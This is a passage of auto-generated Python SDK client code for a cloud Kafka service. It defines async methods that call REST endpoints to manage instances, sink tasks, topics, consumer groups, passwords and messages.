response_type='CreateSinkTaskResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def delete_background_task_async(self, request):
"""删除后台任务管理中的指定记录
删除后台任务管理中的指定记录。
:param DeleteBackgroundTaskRequest request
:return: DeleteBackgroundTaskResponse
"""
return self.delete_background_task_with_http_info(request)
def delete_background_task_with_http_info(self, request):
"""删除后台任务管理中的指定记录
删除后台任务管理中的指定记录。
:param DeleteBackgroundTaskRequest request
:return: DeleteBackgroundTaskResponse
"""
all_params = ['instance_id', 'task_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'task_id' in local_var_params:
path_params['task_id'] = local_var_params['task_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/tasks/{task_id}',
method='DELETE',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DeleteBackgroundTaskResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def delete_instance_async(self, request):
"""删除指定的实例
删除指定的实例，释放该实例的所有资源。
:param DeleteInstanceRequest request
:return: DeleteInstanceResponse
"""
return self.delete_instance_with_http_info(request)
def delete_instance_with_http_info(self, request):
"""删除指定的实例
删除指定的实例，释放该实例的所有资源。
:param DeleteInstanceRequest request
:return: DeleteInstanceResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}',
method='DELETE',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DeleteInstanceResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def delete_sink_task_async(self, request):
"""删除单个转储任务
删除单个转储任务。
:param DeleteSinkTaskRequest request
:return: DeleteSinkTaskResponse
"""
return self.delete_sink_task_with_http_info(request)
def delete_sink_task_with_http_info(self, request):
"""删除单个转储任务
删除单个转储任务。
:param DeleteSinkTaskRequest request
:return: DeleteSinkTaskResponse
"""
all_params = ['connector_id', 'task_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'connector_id' in local_var_params:
path_params['connector_id'] = local_var_params['connector_id']
if 'task_id' in local_var_params:
path_params['task_id'] = local_var_params['task_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/connectors/{connector_id}/sink-tasks/{task_id}',
method='DELETE',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DeleteSinkTaskResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_available_zones_async(self, request):
"""查询可用区信息
在创建实例时，需要配置实例所在的可用区ID，可通过该接口查询可用区的ID。
:param ListAvailableZonesRequest request
:return: ListAvailableZonesResponse
"""
return self.list_available_zones_with_http_info(request)
def list_available_zones_with_http_info(self, request):
"""查询可用区信息
在创建实例时，需要配置实例所在的可用区ID，可通过该接口查询可用区的ID。
:param ListAvailableZonesRequest request
:return: ListAvailableZonesResponse
"""
all_params = []
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/available-zones',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListAvailableZonesResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_background_tasks_async(self, request):
"""查询实例的后台任务列表
查询实例的后台任务列表。
:param ListBackgroundTasksRequest request
:return: ListBackgroundTasksResponse
"""
return self.list_background_tasks_with_http_info(request)
def list_background_tasks_with_http_info(self, request):
"""查询实例的后台任务列表
查询实例的后台任务列表。
:param ListBackgroundTasksRequest request
:return: ListBackgroundTasksResponse
"""
all_params = ['instance_id', 'start', 'limit', 'begin_time', 'end_time']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
if 'start' in local_var_params:
query_params.append(('start', local_var_params['start']))
if 'limit' in local_var_params:
query_params.append(('limit', local_var_params['limit']))
if 'begin_time' in local_var_params:
query_params.append(('begin_time', local_var_params['begin_time']))
if 'end_time' in local_var_params:
query_params.append(('end_time', local_var_params['end_time']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/tasks',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListBackgroundTasksResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_instance_topics_async(self, request):
"""Kafka实例查询Topic
该接口用于查询指定Kafka实例的Topic详情。
:param ListInstanceTopicsRequest request
:return: ListInstanceTopicsResponse
"""
return self.list_instance_topics_with_http_info(request)
def list_instance_topics_with_http_info(self, request):
"""Kafka实例查询Topic
该接口用于查询指定Kafka实例的Topic详情。
:param ListInstanceTopicsRequest request
:return: ListInstanceTopicsResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/topics',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListInstanceTopicsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_instances_async(self, request):
"""查询所有实例列表
查询租户的实例列表，支持按照条件查询。
:param ListInstancesRequest request
:return: ListInstancesResponse
"""
return self.list_instances_with_http_info(request)
def list_instances_with_http_info(self, request):
"""查询所有实例列表
查询租户的实例列表，支持按照条件查询。
:param ListInstancesRequest request
:return: ListInstancesResponse
"""
all_params = ['engine', 'name', 'instance_id', 'status', 'include_failure', 'exact_match_name', 'enterprise_project_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
if 'engine' in local_var_params:
query_params.append(('engine', local_var_params['engine']))
if 'name' in local_var_params:
query_params.append(('name', local_var_params['name']))
if 'instance_id' in local_var_params:
query_params.append(('instance_id', local_var_params['instance_id']))
if 'status' in local_var_params:
query_params.append(('status', local_var_params['status']))
if 'include_failure' in local_var_params:
query_params.append(('include_failure', local_var_params['include_failure']))
if 'exact_match_name' in local_var_params:
query_params.append(('exact_match_name', local_var_params['exact_match_name']))
if 'enterprise_project_id' in local_var_params:
query_params.append(('enterprise_project_id', local_var_params['enterprise_project_id']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListInstancesResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_products_async(self, request):
"""查询产品规格列表
在创建kafka实例时，需要配置订购的产品ID（即product_id），可通过该接口查询产品规格。 例如，要订购按需计费、基准带宽为100MB的kafka实例，可从接口响应消息中，查找Hourly的消息体，然后找到bandwidth为100MB的记录对应的product_id，该product_id的值即是创建上述kafka实例时需要配置的产品ID。 同时，unavailable_zones字段表示资源不足的可用区列表，如果为空，则表示所有可用区都有资源，如果不为空，则表示字段值的可用区没有资源。所以必须确保您购买的资源所在的可用区有资源，不在该字段列表内。 例如，响应消息中bandwidth字段为1200MB的记录，unavailable_zones字段包含cn-east-2b、cn-east-2a和cn-east-2d，表示在华东-上海2的可用区1、可用区2、可用区3都没有该资源。
:param ListProductsRequest request
:return: ListProductsResponse
"""
return self.list_products_with_http_info(request)
def list_products_with_http_info(self, request):
"""查询产品规格列表
在创建kafka实例时，需要配置订购的产品ID（即product_id），可通过该接口查询产品规格。 例如，要订购按需计费、基准带宽为100MB的kafka实例，可从接口响应消息中，查找Hourly的消息体，然后找到bandwidth为100MB的记录对应的product_id，该product_id的值即是创建上述kafka实例时需要配置的产品ID。 同时，unavailable_zones字段表示资源不足的可用区列表，如果为空，则表示所有可用区都有资源，如果不为空，则表示字段值的可用区没有资源。所以必须确保您购买的资源所在的可用区有资源，不在该字段列表内。 例如，响应消息中bandwidth字段为1200MB的记录，unavailable_zones字段包含cn-east-2b、cn-east-2a和cn-east-2d，表示在华东-上海2的可用区1、可用区2、可用区3都没有该资源。
:param ListProductsRequest request
:return: ListProductsResponse
"""
all_params = ['engine']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
if 'engine' in local_var_params:
query_params.append(('engine', local_var_params['engine']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/products',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListProductsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_sink_tasks_async(self, request):
"""查询转储任务列表
查询转储任务列表。
:param ListSinkTasksRequest request
:return: ListSinkTasksResponse
"""
return self.list_sink_tasks_with_http_info(request)
def list_sink_tasks_with_http_info(self, request):
"""查询转储任务列表
查询转储任务列表。
:param ListSinkTasksRequest request
:return: ListSinkTasksResponse
"""
all_params = ['connector_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'connector_id' in local_var_params:
path_params['connector_id'] = local_var_params['connector_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/connectors/{connector_id}/sink-tasks',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListSinkTasksResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def reset_manager_password_async(self, request):
"""重置Manager密码
重置Manager密码。
:param ResetManagerPasswordRequest request
:return: ResetManagerPasswordResponse
"""
return self.reset_manager_password_with_http_info(request)
def reset_manager_password_with_http_info(self, request):
"""重置Manager密码
重置Manager密码。
:param ResetManagerPasswordRequest request
:return: ResetManagerPasswordResponse
"""
all_params = ['instance_id', 'reset_manager_password_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/kafka-manager-password',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ResetManagerPasswordResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def reset_message_offset_async(self, request):
"""重置消费组消费进度到指定位置
Kafka实例不支持在线重置消费进度。在执行重置消费进度之前，必须停止被重置消费组客户端。 > 在停止被重置消费组客户端后，需要经过ConsumerConfig.SESSION_TIMEOUT_MS_CONFIG配置的时间（默认10000毫秒），服务端才认为消费组客户端真正下线。
:param ResetMessageOffsetRequest request
:return: ResetMessageOffsetResponse
"""
return self.reset_message_offset_with_http_info(request)
def reset_message_offset_with_http_info(self, request):
"""重置消费组消费进度到指定位置
Kafka实例不支持在线重置消费进度。在执行重置消费进度之前，必须停止被重置消费组客户端。 > 在停止被重置消费组客户端后，需要经过ConsumerConfig.SESSION_TIMEOUT_MS_CONFIG配置的时间（默认10000毫秒），服务端才认为消费组客户端真正下线。
:param ResetMessageOffsetRequest request
:return: ResetMessageOffsetResponse
"""
all_params = ['instance_id', 'group', 'reset_message_offset_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'group' in local_var_params:
path_params['group'] = local_var_params['group']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/groups/{group}/reset-message-offset',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ResetMessageOffsetResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def reset_password_async(self, request):
"""重置密码
重置密码。
:param ResetPasswordRequest request
:return: ResetPasswordResponse
"""
return self.reset_password_with_http_info(request)
def reset_password_with_http_info(self, request):
"""重置密码
重置密码。
:param ResetPasswordRequest request
:return: ResetPasswordResponse
"""
all_params = ['instance_id', 'reset_password_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/password',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ResetPasswordResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def reset_user_passwrod_async(self, request):
"""重置用户密码
重置用户密码
:param ResetUserPasswrodRequest request
:return: ResetUserPasswrodResponse
"""
return self.reset_user_passwrod_with_http_info(request)
def reset_user_passwrod_with_http_info(self, request):
"""重置用户密码
重置用户密码
:param ResetUserPasswrodRequest request
:return: ResetUserPasswrodResponse
"""
all_params = ['instance_id', 'user_name', 'reset_user_passwrod_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'user_name' in local_var_params:
path_params['user_name'] = local_var_params['user_name']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/users/{user_name}',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ResetUserPasswrodResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def resize_instance_async(self, request):
"""实例规格变更
实例规格变更。
:param ResizeInstanceRequest request
:return: ResizeInstanceResponse
"""
return self.resize_instance_with_http_info(request)
def resize_instance_with_http_info(self, request):
"""实例规格变更
实例规格变更。
:param ResizeInstanceRequest request
:return: ResizeInstanceResponse
"""
all_params = ['instance_id', 'resize_instance_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/extend',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ResizeInstanceResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def restart_manager_async(self, request):
"""重启Manager
重启Manager。
:param RestartManagerRequest request
:return: RestartManagerResponse
"""
return self.restart_manager_with_http_info(request)
def restart_manager_with_http_info(self, request):
"""重启Manager
重启Manager。
:param RestartManagerRequest request
:return: RestartManagerResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/restart-kafka-manager',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='RestartManagerResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_background_task_async(self, request):
"""查询后台任务管理中的指定记录
查询后台任务管理中的指定记录。
:param ShowBackgroundTaskRequest request
:return: ShowBackgroundTaskResponse
"""
return self.show_background_task_with_http_info(request)
def show_background_task_with_http_info(self, request):
"""查询后台任务管理中的指定记录
查询后台任务管理中的指定记录。
:param ShowBackgroundTaskRequest request
:return: ShowBackgroundTaskResponse
"""
all_params = ['instance_id', 'task_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'task_id' in local_var_params:
path_params['task_id'] = local_var_params['task_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/tasks/{task_id}',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowBackgroundTaskResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_ces_hierarchy_async(self, request):
"""查询实例在CES的监控层级关系
查询实例在CES的监控层级关系。
:param ShowCesHierarchyRequest request
:return: ShowCesHierarchyResponse
"""
return self.show_ces_hierarchy_with_http_info(request)
def show_ces_hierarchy_with_http_info(self, request):
"""查询实例在CES的监控层级关系
查询实例在CES的监控层级关系。
:param ShowCesHierarchyRequest request
:return: ShowCesHierarchyResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/ces-hierarchy',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowCesHierarchyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_cluster_async(self, request):
"""查询Kafka集群元数据信息
查询Kafka集群元数据信息。
:param ShowClusterRequest request
:return: ShowClusterResponse
"""
return self.show_cluster_with_http_info(request)
def show_cluster_with_http_info(self, request):
"""查询Kafka集群元数据信息
查询Kafka集群元数据信息。
:param ShowClusterRequest request
:return: ShowClusterResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/cluster',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowClusterResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_coordinators_async(self, request):
"""查询Kafka实例的协调器信息
查询Kafka实例的协调器信息。
:param ShowCoordinatorsRequest request
:return: ShowCoordinatorsResponse
"""
return self.show_coordinators_with_http_info(request)
def show_coordinators_with_http_info(self, request):
"""查询Kafka实例的协调器信息
查询Kafka实例的协调器信息。
:param ShowCoordinatorsRequest request
:return: ShowCoordinatorsResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/coordinators',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowCoordinatorsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_groups_async(self, request):
"""查询消费组信息
查询消费组信息。
:param ShowGroupsRequest request
:return: ShowGroupsResponse
"""
return self.show_groups_with_http_info(request)
def show_groups_with_http_info(self, request):
"""查询消费组信息
查询消费组信息。
:param ShowGroupsRequest request
:return: ShowGroupsResponse
"""
all_params = ['instance_id', 'group']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'group' in local_var_params:
path_params['group'] = local_var_params['group']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/groups/{group}',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowGroupsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_instance_async(self, request):
"""查询指定实例
查询指定实例的详细信息。
:param ShowInstanceRequest request
:return: ShowInstanceResponse
"""
return self.show_instance_with_http_info(request)
def show_instance_with_http_info(self, request):
"""查询指定实例
查询指定实例的详细信息。
:param ShowInstanceRequest request
:return: ShowInstanceResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowInstanceResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_instance_extend_product_info_async(self, request):
"""查询实例的扩容规格列表
查询实例的扩容规格列表。
:param ShowInstanceExtendProductInfoRequest request
:return: ShowInstanceExtendProductInfoResponse
"""
return self.show_instance_extend_product_info_with_http_info(request)
def show_instance_extend_product_info_with_http_info(self, request):
"""查询实例的扩容规格列表
查询实例的扩容规格列表。
:param ShowInstanceExtendProductInfoRequest request
:return: ShowInstanceExtendProductInfoResponse
"""
all_params = ['instance_id', 'type', 'engine']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
if 'type' in local_var_params:
query_params.append(('type', local_var_params['type']))
if 'engine' in local_var_params:
query_params.append(('engine', local_var_params['engine']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/extend',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowInstanceExtendProductInfoResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_instance_messages_async(self, request):
"""查询消息
查询消息的偏移量和消息内容。 先根据时间戳查询消息的偏移量，再根据偏移量查询消息内容。
:param ShowInstanceMessagesRequest request
:return: ShowInstanceMessagesResponse
"""
return self.show_instance_messages_with_http_info(request)
def show_instance_messages_with_http_info(self, request):
"""查询消息
查询消息的偏移量和消息内容。 先根据时间戳查询消息的偏移量，再根据偏移量查询消息内容。
:param ShowInstanceMessagesRequest request
:return: ShowInstanceMessagesResponse
"""
all_params = ['instance_id', 'topic', 'asc', 'start_time', 'end_time', 'limit', 'offset', 'download', 'message_offset', 'partition']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
if 'topic' in local_var_params:
query_params.append(('topic', local_var_params['topic']))
if 'asc' in local_var_params:
query_params.append(('asc', local_var_params['asc']))
if 'start_time' in local_var_params:
query_params.append(('start_time', local_var_params['start_time']))
if 'end_time' in local_var_params:
query_params.append(('end_time', local_var_params['end_time']))
if 'limit' in local_var_params:
